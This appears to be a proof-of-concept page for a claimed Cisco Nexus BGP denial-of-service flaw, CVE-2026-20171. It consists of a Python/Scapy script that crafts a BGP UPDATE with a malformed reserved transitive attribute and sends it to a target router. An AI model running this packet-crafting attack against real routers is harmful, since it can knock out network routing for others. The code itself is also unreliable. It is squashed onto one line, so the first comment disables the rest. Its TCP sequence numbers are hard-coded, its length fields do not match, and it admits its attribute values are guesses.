CVE-2026-20171 Cisco Nexus BGP DoS漏洞

#!/usr/bin/env python3 # This is a conceptual PoC for crafting a BGP update to trigger the parsing issue. # Requires Scapy installed. from scapy.all import * from scapy.contrib.bgp import BGPHeader, BGPUpdate, BGPPA def send_crafted_bgp_update(target_ip): # Construct a malicious BGP Update packet # Exploiting the transitive attribute parsing vulnerability # Note: Specific attribute values may vary based on actual vulnerability details ip_layer = IP(dst=target_ip) tcp_layer = TCP(dport=179, sport=12345, flags="PA", seq=1000, ack=2000) # BGP Header bgp_header = BGPHeader(marker=b'\xff'*16, len=50, type=2) # Type 2 = UPDATE # Path Attributes containing the malformed transitive attribute # Type 255 (Reserved) with Transitive flag set (0xC0) to trigger parsing logic malformed_attr = BGPPA(type=255, flags=0xC0, value=b'\x00\x01\x02\x03') bgp_update = BGPUpdate( withdrawn_routes_len=0, total_path_attr_len=6, # Length of the attribute header + value path_attrs=[malformed_attr], nlri=[] ) packet = ip_layer / tcp_layer / bgp_header / bgp_update print(f"[*] Sending crafted BGP packet to {target_ip}...") send(packet) if __name__ == "__main__": target = "192.168.1.1" # Replace with actual target IP send_crafted_bgp_update(target)